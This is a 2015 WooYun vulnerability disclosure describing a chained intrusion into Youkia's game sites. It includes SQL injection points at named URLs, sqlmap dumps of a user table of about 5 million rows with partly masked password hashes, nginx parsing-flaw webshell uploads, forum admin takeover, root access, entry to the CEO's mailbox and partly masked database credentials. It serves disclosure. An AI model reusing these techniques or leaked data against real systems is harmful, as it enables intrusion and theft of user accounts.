当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123018

漏洞标题:天上友嘉旗下所有游戏可被黑(一次详细的网游测试案例,官网可修改,用户数据库任意操作,CEO邮箱可进,各种泄露)

相关厂商:四川天上友嘉网络科技有限公司

漏洞作者: zph

提交时间:2015-06-26 23:15

修复时间:2015-08-10 23:16

公开时间:2015-08-10 23:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-26: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-08-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

植物大战僵尸Online、植物大战僵尸Online2、百将录、龙之塔、吕布必须死、植物大战僵尸移动版、盛世三国、神仙道、星座女神等天上友嘉游戏可被黑。

详细说明:

首先是一个sql注入:http://www.youkia.com/index.php/news/getcommentlist
POST:post_id=1

1.png


available databases [30]:
[*] biggestboss
[*] efdata
[*] etian
[*] information_schema
[*] joyplan
[*] mydreami
[*] mysql
[*] nagdb
[*] ndbinfo
[*] pvz_v2
[*] pvz_web
[*] qiuqiu
[*] qx_youkia_com
[*] slowlog
[*] test
[*] tj_forum
[*] tj_web
[*] tmp
[*] tt
[*] vuln
[*] waw_forum
[*] yk_arena
[*] yk_cards
[*] yk_clan
[*] yk_egg
[*] yk_group
[*] yk_lot
[*] yk_pet
[*] yk_special
[*] ykdata


[21:03:55] [INFO] fetching columns for table 'youkia_user' in database 'ykdata'
[21:03:55] [INFO] the SQL query used returns 20 entries
[21:03:55] [INFO] resumed: id
[21:03:55] [INFO] resumed: int(11)
[21:03:55] [INFO] resumed: username
[21:03:55] [INFO] resumed: char(20)
[21:03:55] [INFO] resumed: truename
[21:03:55] [INFO] resumed: char(20)
[21:03:55] [INFO] resumed: email
[21:03:55] [INFO] resumed: char(40)
[21:03:55] [INFO] resumed: password
[21:03:55] [INFO] resumed: char(32)
[21:03:55] [INFO] resumed: sex
[21:03:55] [INFO] resumed: enum('0','1','2')
[21:03:55] [INFO] resumed: expr
[21:03:55] [INFO] resumed: int(11)
[21:03:55] [INFO] resumed: lastlogin
[21:03:55] [INFO] resumed: int(11)
[21:03:55] [INFO] resumed: logintimes
[21:03:55] [INFO] resumed: int(10)
[21:03:55] [INFO] resumed: created
[21:03:55] [INFO] resumed: int(11)
[21:03:55] [INFO] resumed: mtime
[21:03:55] [INFO] resumed: int(11)
[21:03:55] [INFO] resumed: status
[21:03:55] [INFO] resumed: tinyint(1)
[21:03:55] [INFO] resumed: networkid
[21:03:55] [INFO] resumed: int(11)
[21:03:55] [INFO] resumed: inviteuser
[21:03:55] [INFO] resumed: int(11)
[21:03:55] [INFO] resumed: jb
[21:03:55] [INFO] resumed: tinyint(3)
[21:03:55] [INFO] resumed: member
[21:03:55] [INFO] resumed: char(1)
[21:03:55] [INFO] resumed: nickname
[21:03:55] [INFO] resumed: char(20)
[21:03:55] [INFO] resumed: photo
[21:03:55] [INFO] resumed: tinyint(1)
[21:03:55] [INFO] resumed: is_old
[21:03:55] [INFO] resumed: tinyint(1)
[21:03:55] [INFO] resumed: check_email
[21:03:55] [INFO] resumed: tinyint(3)
[21:03:55] [INFO] fetching entries for table 'youkia_user' in database 'ykdata'
[21:03:55] [INFO] the SQL query used returns 4991662 entries


所有的用户数据都在这个表里,知道昵称/email/id就可以select出密码,比如随便搞一个:

5.png


select * from ykdata.youkia_user where nickname='拜托小姐' [1]:
[*] 1, 1289*****, 1009****@qq.com, 59**, 395***, 3949***, 0, *, 130******, 1*, , 13***, 0, 拜托小姐, 26876f9408b6c0e9***,1, 1, 1, **, youkia395*


6.png


明文:7NM***,用email和密码登陆

7.png


8.png


但是,到这里感觉没法继续深入了,忽然发现官方论坛存在nginx解析漏洞
http://f.youkia.com/forum/static/image/banner/2015-06-10.jpg/.php

2.png


但是上传图片发现目录有限制

3.png


死胡同,继续搞,发现另一个站的sql注入
http://www.youkia.net/index/checkname/name/*

available databases [25]:
[*] anhei_bbs
[*] cps_youkia_web
[*] haogame
[*] information_schema
[*] jiradb
[*] jiradb5
[*] joyplan
[*] mydreami
[*] mydreami_phpwind
[*] mydreami_ucenter
[*] mysql
[*] nagdb
[*] pvz_events
[*] SeaSkyBBS
[*] SeaSkyJira
[*] shallwe
[*] test
[*] ultrax
[*] worklog
[*] yk_digg
[*] yk_forum
[*] ykBBS
[*] youkia_net
[*] youkia_net_temp
[*] zhinangwiki


ultrax,论坛的数据库
dump出管理员uid

Table: pre_common_admincp_member
[1 entry]
+---------+-----------+------------+
| uid | cpgroupid | customperm |
+---------+-----------+------------+
| 6645241 | 0 | <blank> |
+---------+-----------+------------+


4.png


拿到邮箱,回刚才的库里尝试用email注入出密码

select * from ykdata.youkia_user where email='[email protected]' [1]:
[*] 0, *, [email protected], *, *, 0, 0, 3, *, 3, ,*, 0, lmjiming1, 035868***, 1, 1, 1, **,youki
a664**


果然有,拿去解密

9.png


明文:lm51****,登陆论坛

10.png


11.png


dz后台直接getshell

12.png


root权限,可反弹shell

3.png


4.png


cps系统,同服同数据库,可直接进入

14.png


15.png


这时候回过头搞子域名,发现mail.youkia.com

16.png


看样子这两个域名都是企业邮箱,用
select * from table where email like '%@youkia.com'
select * from table where email like '%@saesky.cn'
分别查询

select * from ykdata.youkia_user where email like '%@seasky.cn' [5]:
[*] 1, *, 189*@seasky.cn, 938**, *, , *, 4*, 1351*, 276*, *, 123*, 0, **, e10adc3949ba5**, , 1, 1, 何*, shall*


解密后登陆

17.png


CEO邮箱

18.png


19.png


可修改游戏公告

20.png


官网后台

21.png


发现官网居然也有nginx解析漏洞

22.png


上传图片马,getshell

23.png


所有游戏子域名一目了然,官网可改

24.png


25.png

漏洞证明:

'dbgm' => array(
'class' => 'system.db.CDbConnection',
'connectionString' => 'mysql:host=192.168.*;dbname=bi_*',
'emulatePrepare' => true,
'username' => 'webUs*',
'password' => 'haNshu*',
'charset' => 'utf8',


sql-shell> select count(*) from ykdata.youkia_user;
[21:59:24] [INFO] fetching SQL SELECT statement query output: 'select count(*) from ykdata.youkia_user'
[21:59:25] [INFO] heuristics detected web page charset 'ascii'
[21:59:25] [INFO] retrieved: 4995809
select count(*) from ykdata.youkia_user;: '4995809'


修复方案:

1. 你们应该招个靠谱的安全工程师。
2. 对所有系统进行安全排查,修改所有数据库/后台/系统密码,确保没被恶意黑客利用。
3. 过滤sql,升级nginx,对数据库、web server降权。root权限闹哪样?
4. 作为3年前的玩家,提个安全以外的建议:植物大战僵尸ol能否有点剧情?光是打僵尸打植物打竞技场多无聊……

版权声明:转载请注明来源 zph@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)